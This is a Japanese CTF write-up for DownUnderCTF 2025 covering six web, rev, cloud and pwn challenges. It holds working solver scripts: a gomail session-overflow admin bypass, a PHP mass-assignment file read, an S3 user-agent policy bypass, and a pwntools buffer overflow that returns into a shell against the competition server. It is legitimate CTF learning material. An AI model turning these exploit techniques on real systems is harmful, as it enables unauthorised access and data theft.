DownUnderCTF2025 writeup
DownUnderCTF
7/18 18:30 JST - 7/20 18:30 JSTという期間で開催された。
BunkyoWesternsで参加して一位☝
徹夜で作業予定があったり、そのままゴルフとライブに行ったりと予定が詰まっていたのでちょっとしかできていないが、問題数も多くて面白かった。
解いたのは以下
- mini-me
- gomail
- zeus
- kick the bucket
- philtered
- corporate-cliche
mini-me
ログインフォームっぽいのがあり、適当な値を入れるとAI生成感のあふれる画像と若干不安になる音楽が流れる。
app.py
ではこんな感じでFlagを取れるが、X-API-Keyは素直には見つからない。
よく見るとmain.min.js
の末尾に//test map file -> test-main.min.js.map, remove in prod
と書いてあるので取ってくると、難読化されたKeyが見えるのでAIに投げる。
#!/usr/bin/env python3
# solve.py: CTF solver for Web Mini Me
# Fetches source map to extract obfuscated API key, then retrieves FLAG.
# Dependencies: Python3 stdlib only
import sys
import re
import json
import urllib.request
import urllib.error
# Target URLs
BASE_URL = 'https://web-mini-me-ab6d19a7ea6e.2025-us.ductf.net'
MP3_PATH = '/static/ballerina-cappucina/ballerina-cappucina.mp3'
FLAG_PATH = '/admin/flag'
def extract_api_key() -> str:
"""
Fetch minified source map and decode obfuscated API key.
"""
map_url = BASE_URL + '/static/js/test-main.min.js.map'
try:
with urllib.request.urlopen(map_url) as resp:
if resp.status != 200:
print(f'Failed to fetch source map: {resp.status}', file=sys.stderr)
sys.exit(1)
text = resp.read().decode()
except urllib.error.HTTPError as e:
print(f'Failed to fetch source map: {e.code}', file=sys.stderr)
sys.exit(1)
try:
data = json.loads(text)
src = data.get('sourcesContent', [])[0]
except Exception as e:
print('Invalid source map JSON', file=sys.stderr)
sys.exit(1)
# Find obfuscated numeric arrays: e.g. xtqzp = ["85"]
nums = re.findall(r'=\s*\["(\d+)"\]', src)
if not nums:
print('No numeric arrays found in source map', file=sys.stderr)
sys.exit(1)
# Decode: char = int(num) ^ (index+1)
chars = []
for i, n in enumerate(nums):
val = int(n) ^ (i + 1)
chars.append(chr(val))
return ''.join(chars)
def get_flag(api_key: str) -> str:
"""
Request the FLAG endpoint with the recovered API key.
Uses urllib.
"""
url = BASE_URL + FLAG_PATH
req = urllib.request.Request(url, method='POST', headers={'X-API-Key': api_key})
try:
with urllib.request.urlopen(req) as resp:
data = resp.read().decode().strip()
return data
except urllib.error.HTTPError as e:
print(f'Error fetching flag: {e.code}\n{e.read().decode()}', file=sys.stderr)
sys.exit(1)
def main():
print('[*] Extracting API key from source map...')
api_key = extract_api_key()
print(f'[+] Recovered API key: {api_key}')
print('[*] Retrieving FLAG...')
flag = get_flag(api_key)
print(f'[+] FLAG: {flag}')
if __name__ == '__main__':
main()
[*] Extracting API key from source map...
[+] Recovered API key: TUNG-TUNG-TUNG-TUNG-SAHUR
[*] Retrieving FLAG...
[+] FLAG: DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
gomail
セッションの実装が雑なので適当にOverflowさせるとadminが取れる。ソルバはAIに書かせる
#!/usr/bin/env python3
"""
Solver script for gomail CTF challenge.
Starts the server locally, logs in with backdoor credentials, and retrieves the flag.
"""
import requests
import sys
# Base URL of the gomail service
BASE_URL = "https://web-gomail-3f344244ceb2.2025-us.ductf.net/"
def main():
# Endpoint URL
url = BASE_URL
# Craft an oversized email to exploit session deserialization integer overflow
# Total length = 65536 + len("mc-fat@monke.zip") = 65552 bytes
prefix = "mc-fat@monke.zip"
total_len = 65536 + len(prefix)
# After prefix, first 8 bytes -> 'f' * 8 (to set expiry high), next byte -> 't' (isAdmin)
# rest filled with 'b'
padding_len = total_len - len(prefix)
if padding_len < 9:
raise ValueError("Padding length too small")
padding = "f" * 8 + "t" + "b" * (padding_len - 9)
exploit_email = prefix + padding
# Use any non-empty password (not in userLogins) to bypass login and keep our email
login = requests.post(f"{url}/login", json={
"email": exploit_email,
"password": "A"
})
login.raise_for_status()
token = login.json().get("token")
if not token:
print("Failed to get token")
return
# Fetch emails (admin)
resp = requests.get(f"{url}/emails", headers={
"X-Auth-Token": token
})
resp.raise_for_status()
data = resp.json()
emails = data.get("emails", [])
# Print flag from email data
for mail in emails:
# JSON field is lowercase 'data'
content = mail.get("data", mail.get("Data", ""))
if "Flag:" in content:
print(content)
return
print("Flag not found in emails")
# end of main
if __name__ == "__main__":
main()
Hey MC Fat Monke,
We heard once again you accidentally leaked your flag for your last challenge...
Bruh stop doing that...
Here is your new flag for your challenge, please stop leaking it...
Flag: DUCTF{g0v3rFloW_2_mY_eM41L5!}
From DUCTF Admin
zeus
rev。あんまり覚えてないけど多分二個目のstrcmpにBreakpoint貼るだけで良かった気がする。
[0x00001070]> pdf @main
; DATA XREF from entry0 @ 0x1084(r)
┌ 378: int main (uint32_t argc, char **argv);
│ ; arg uint32_t argc @ rdi
│ ; arg char **argv @ rsi
│ ; var char *s2 @ rbp-0x8
│ ; var char *var_10h @ rbp-0x10
│ ; var int64_t var_21h @ rbp-0x21
│ ; var int64_t var_28h @ rbp-0x28
│ ; var int64_t var_30h @ rbp-0x30
│ ; var int64_t var_38h @ rbp-0x38
│ ; var int64_t var_40h @ rbp-0x40
│ ; var int64_t var_48h @ rbp-0x48
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_61h @ rbp-0x61
│ ; var int64_t var_68h @ rbp-0x68
│ ; var int64_t var_70h @ rbp-0x70
│ ; var int64_t var_78h @ rbp-0x78
│ ; var int64_t var_80h @ rbp-0x80
│ ; var int64_t var_88h @ rbp-0x88
│ ; var int64_t var_90h @ rbp-0x90
│ ; var uint32_t var_94h @ rbp-0x94
│ ; var char **s1 @ rbp-0xa0
│ 0x000011c8 55 push rbp
│ 0x000011c9 4889e5 mov rbp, rsp
│ 0x000011cc 4881eca00000. sub rsp, 0xa0
│ 0x000011d3 89bd6cffffff mov dword [var_94h], edi ; argc
│ 0x000011d9 4889b560ffff. mov qword [s1], rsi ; argv
│ 0x000011e0 488d05210e00. lea rax, str.To_Zeus_Maimaktes__Zeus_who_comes_when_the_north_wind_blows__we_offer_our_praise__we_make_you_welcome_ ; 0x2008 ; "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!"
│ 0x000011e7 488945f8 mov qword [s2], rax
│ 0x000011eb 488d057d0e00. lea rax, str.Maimaktes1337 ; 0x206f ; "Maimaktes1337"
│ 0x000011f2 488945f0 mov qword [var_10h], rax
│ 0x000011f6 48b809342a39. movabs rax, 0xc1f1027392a3409
│ 0x00001200 48ba1d566c5c. movabs rdx, 0x11512515c6c561d
│ 0x0000120a 488945b0 mov qword [var_50h], rax
│ 0x0000120e 488955b8 mov qword [var_48h], rdx
│ 0x00001212 48b8083e0418. movabs rax, 0x5a411e1c18043e08
│ 0x0000121c 48ba52591206. movabs rdx, 0x3412090606125952
│ 0x00001226 488945c0 mov qword [var_40h], rax
│ 0x0000122a 488955c8 mov qword [var_38h], rdx
│ 0x0000122e 48b8150b176e. movabs rax, 0x12535c546e170b15 ; '\x15\v\x17nT\\S\x12'
│ 0x00001238 48ba0e0f3215. movabs rdx, 0x3a110315320f0e
│ 0x00001242 488945d0 mov qword [var_30h], rax
│ 0x00001246 488955d8 mov qword [var_28h], rdx
│ 0x0000124a c745df005a4a. mov dword [var_21h], 0x4e4a5a00
│ 0x00001251 83bd6cffffff. cmp dword [var_94h], 3
│ ┌─< 0x00001258 0f85ce000000 jne 0x132c
│ │ 0x0000125e 488b8560ffff. mov rax, qword [s1]
│ │ 0x00001265 4883c008 add rax, 8
│ │ 0x00001269 488b00 mov rax, qword [rax]
│ │ 0x0000126c 488d150a0e00. lea rdx, str._invocation ; 0x207d ; "-invocation"
│ │ 0x00001273 4889d6 mov rsi, rdx ; const char *s2
│ │ 0x00001276 4889c7 mov rdi, rax ; const char *s1
│ │ 0x00001279 e8d2fdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ │ 0x0000127e 85c0 test eax, eax
│ ┌──< 0x00001280 0f85a6000000 jne 0x132c
│ ││ 0x00001286 488b8560ffff. mov rax, qword [s1]
│ ││ 0x0000128d 4883c010 add rax, 0x10
│ ││ 0x00001291 488b00 mov rax, qword [rax]
│ ││ 0x00001294 488b55f8 mov rdx, qword [s2]
│ ││ 0x00001298 4889d6 mov rsi, rdx ; const char *s2
│ ││ 0x0000129b 4889c7 mov rdi, rax ; const char *s1
│ ││ 0x0000129e e8adfdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ ││ 0x000012a3 85c0 test eax, eax
│ ┌───< 0x000012a5 0f8581000000 jne 0x132c
│ │││ 0x000012ab 488d05de0d00. lea rax, str.Zeus_responds_to_your_invocation_ ; 0x2090 ; "Zeus responds to your invocation!"
│ │││ 0x000012b2 4889c7 mov rdi, rax ; const char *s
│ │││ 0x000012b5 e876fdffff call sym.imp.puts ; int puts(const char *s)
│ │││ 0x000012ba 488b45b0 mov rax, qword [var_50h]
│ │││ 0x000012be 488b55b8 mov rdx, qword [var_48h]
│ │││ 0x000012c2 48898570ffff. mov qword [var_90h], rax
│ │││ 0x000012c9 48899578ffff. mov qword [var_88h], rdx
│ │││ 0x000012d0 488b45c0 mov rax, qword [var_40h]
│ │││ 0x000012d4 488b55c8 mov rdx, qword [var_38h]
│ │││ 0x000012d8 48894580 mov qword [var_80h], rax
│ │││ 0x000012dc 48895588 mov qword [var_78h], rdx
│ │││ 0x000012e0 488b45d0 mov rax, qword [var_30h]
│ │││ 0x000012e4 488b55d8 mov rdx, qword [var_28h]
│ │││ 0x000012e8 48894590 mov qword [var_70h], rax
│ │││ 0x000012ec 48895598 mov qword [var_68h], rdx
│ │││ 0x000012f0 8b45df mov eax, dword [var_21h]
│ │││ 0x000012f3 89459f mov dword [var_61h], eax
│ │││ 0x000012f6 488b55f0 mov rdx, qword [var_10h]
│ │││ 0x000012fa 488d8570ffff. lea rax, [var_90h]
│ │││ 0x00001301 4889d6 mov rsi, rdx ; int64_t arg2
│ │││ 0x00001304 4889c7 mov rdi, rax ; int64_t arg1
│ │││ 0x00001307 e84dfeffff call sym.xor
│ │││ 0x0000130c 488d8570ffff. lea rax, [var_90h]
│ │││ 0x00001313 4889c6 mov rsi, rax
│ │││ 0x00001316 488d05950d00. lea rax, str.His_reply:__s_n ; 0x20b2 ; "His reply: %s\n"
│ │││ 0x0000131d 4889c7 mov rdi, rax ; const char *format
│ │││ 0x00001320 b800000000 mov eax, 0
│ │││ 0x00001325 e816fdffff call sym.imp.printf ; int printf(const char *format)
│ ┌────< 0x0000132a eb0f jmp 0x133b
│ ││││ ; CODE XREFS from main @ 0x1258(x), 0x1280(x), 0x12a5(x)
│ │└└└─> 0x0000132c 488d05950d00. lea rax, str.The_northern_winds_are_silent... ; 0x20c8 ; "The northern winds are silent..."
│ │ 0x00001333 4889c7 mov rdi, rax ; const char *s
│ │ 0x00001336 e8f5fcffff call sym.imp.puts ; int puts(const char *s)
│ │ ; CODE XREF from main @ 0x132a(x)
│ └────> 0x0000133b b800000000 mov eax, 0
│ 0x00001340 c9 leave
└ 0x00001341 c3 ret
DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}
kick the bucket
S3のpresigned urlとresource_policyが渡される。presigned urlはそのままじゃ見れない。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": [
"arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e/flag.txt",
"arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e"
],
"Principal": {
"AWS": "arn:aws:iam::487266254163:user/pipeline"
},
"Condition": {
"StringLike": {
"aws:UserAgent": "aws-sdk-go*"
}
}
}
]
}
ということなので、curlで-H 'UserAgent: aws-sdk-go'
つけるだけ。
DUCTF{youtube.com/watch?v=A20QQSZsv4E}
philtered
PHP製。名前的にFilterかと思ったがそうでもなかった。Mass Assignment的な感じ。
class Config {
public $path = 'information.txt';
public $data_folder = 'data/';
}
class FileLoader {
public $config;
// idk if we would need to load files from other directories or nested directories, but better to keep it flexible if I change my mind later
public $allow_unsafe = false;
// These terms will be philtered out to prevent unsafe file access
public $blacklist = ['php', 'filter', 'flag', '..', 'etc', '/', '\\'];
public function __construct() {
$this->config = new Config();
}
public function contains_blacklisted_term($value) {
if (!$this->allow_unsafe) {
foreach ($this->blacklist as $term) {
if (stripos($value, $term) !== false) {
return true;
}
}
}
return false;
}
public function assign_props($input) {
foreach ($input as $key => $value) {
if (is_array($value) && isset($this->$key)) {
foreach ($value as $subKey => $subValue) {
if (property_exists($this->$key, $subKey)) {
if ($this->contains_blacklisted_term($subValue)) {
$subValue = 'philtered.txt'; // Default to a safe file if blacklisted term is found
}
$this->$key->$subKey = $subValue;
}
}
} else if (property_exists($this, $key)) {
if ($this->contains_blacklisted_term($value)) {
$value = 'philtered.txt'; // Default to a safe file if blacklisted term is found
}
$this->$key = $value;
}
}
}
public function load() {
return file_get_contents($this->config->data_folder . $this->config->path);
}
}
#!/usr/bin/env python3
import sys
import re
try:
import requests
except ImportError:
sys.exit("Missing dependency: requests. Install with `pip install requests`.")
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <base_url>")
sys.exit(1)
base_url = sys.argv[1].rstrip('/')
target = f"{base_url}"
params = {
'allow_unsafe': '1',
'config[data_folder]': '',
'config[path]': 'flag.php'
}
try:
resp = requests.get(target, params=params, timeout=10)
except requests.RequestException as e:
sys.exit(f"Request failed: {e}")
if resp.status_code != 200:
sys.exit(f"Unexpected status code: {resp.status_code}")
# Search for the flag in the response
match = re.search(r"DUCTF\{.*?\}", resp.text)
if match:
print(match.group(0))
else:
sys.exit("Flag not found in response.")
if __name__ == '__main__':
main()
DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}
corporate-cliche
Pwn
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void open_admin_session() {
printf("-> Admin login successful. Opening shell...\n");
system("/bin/sh");
exit(0);
}
void print_email() {
printf(" ______________________________________________________________________\n");
printf("| To: all-staff@downunderctf.com |\n");
printf("| From: synergy-master@downunderctf.com |\n");
printf("| Subject: Action Item: Leveraging Synergies |\n");
printf("|______________________________________________________________________|\n");
printf("| |\n");
printf("| Per my last communication, I'm just circling back to action the |\n");
printf("| sending of this email to leverage our synergies. Let's touch base |\n");
printf("| offline to drill down on the key takeaways and ensure we are all |\n");
printf("| aligned on this new paradigm. Moving forward, we need to think |\n");
printf("| outside the box to optimize our workflow and get the ball rolling. |\n");
printf("| |\n");
printf("| Best, |\n");
printf("| A. Manager |\n");
printf("|______________________________________________________________________|\n");
exit(0);
}
const char* logins[][2] = {
{"admin", "🇦🇩🇲🇮🇳"},
{"guest", "guest"},
};
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char password[32];
char username[32];
printf("┌──────────────────────────────────────┐\n");
printf("│ Secure Email System v1.337 │\n");
printf("└──────────────────────────────────────┘\n\n");
printf("Enter your username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = 0;
if (strcmp(username, "admin") == 0) {
printf("-> Admin login is disabled. Access denied.\n");
exit(0);
}
printf("Enter your password: ");
gets(password);
for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
if (strcmp(username, logins[i][0]) == 0) {
if (strcmp(password, logins[i][1]) == 0) {
printf("-> Password correct. Access granted.\n");
if (strcmp(username, "admin") == 0) {
open_admin_session();
} else {
print_email();
}
} else {
printf("-> Incorrect password for user '%s'. Access denied.\n", username);
exit(1);
}
}
}
printf("-> Login failed. User '%s' not recognized.\n", username);
exit(1);
}
自明。ASCIIじゃないパスワードを入れるのがちょっと面倒だったくらい。
#!/usr/bin/env python3
from pwn import *
binfile = './email_server'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chal.2025.ductf.net', 30000)
admin_password = [0xf0, 0x9f, 0x87, 0xa6, 0xf0, 0x9f, 0x87, 0xa9, 0xf0, 0x9f, 0x87,
0xb2, 0xf0, 0x9f, 0x87, 0xae, 0xf0, 0x9f, 0x87, 0xb3, 0x00]
payload = bytes(admin_password)
payload += b'a' * (0x20 - len(payload))
payload += b'admin\x00'
payload += b'a' * (0x58 - len(payload))
payload += pack(e.sym['open_admin_session'])
io.sendlineafter(b'username: ', b'guest')
io.sendlineafter(b'password: ', payload)
io.sendline(b'echo hello')
io.sendlineafter(b'hello\n', b'cat flag.txt')
print(io.readline().decode(),end='')
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}
Comments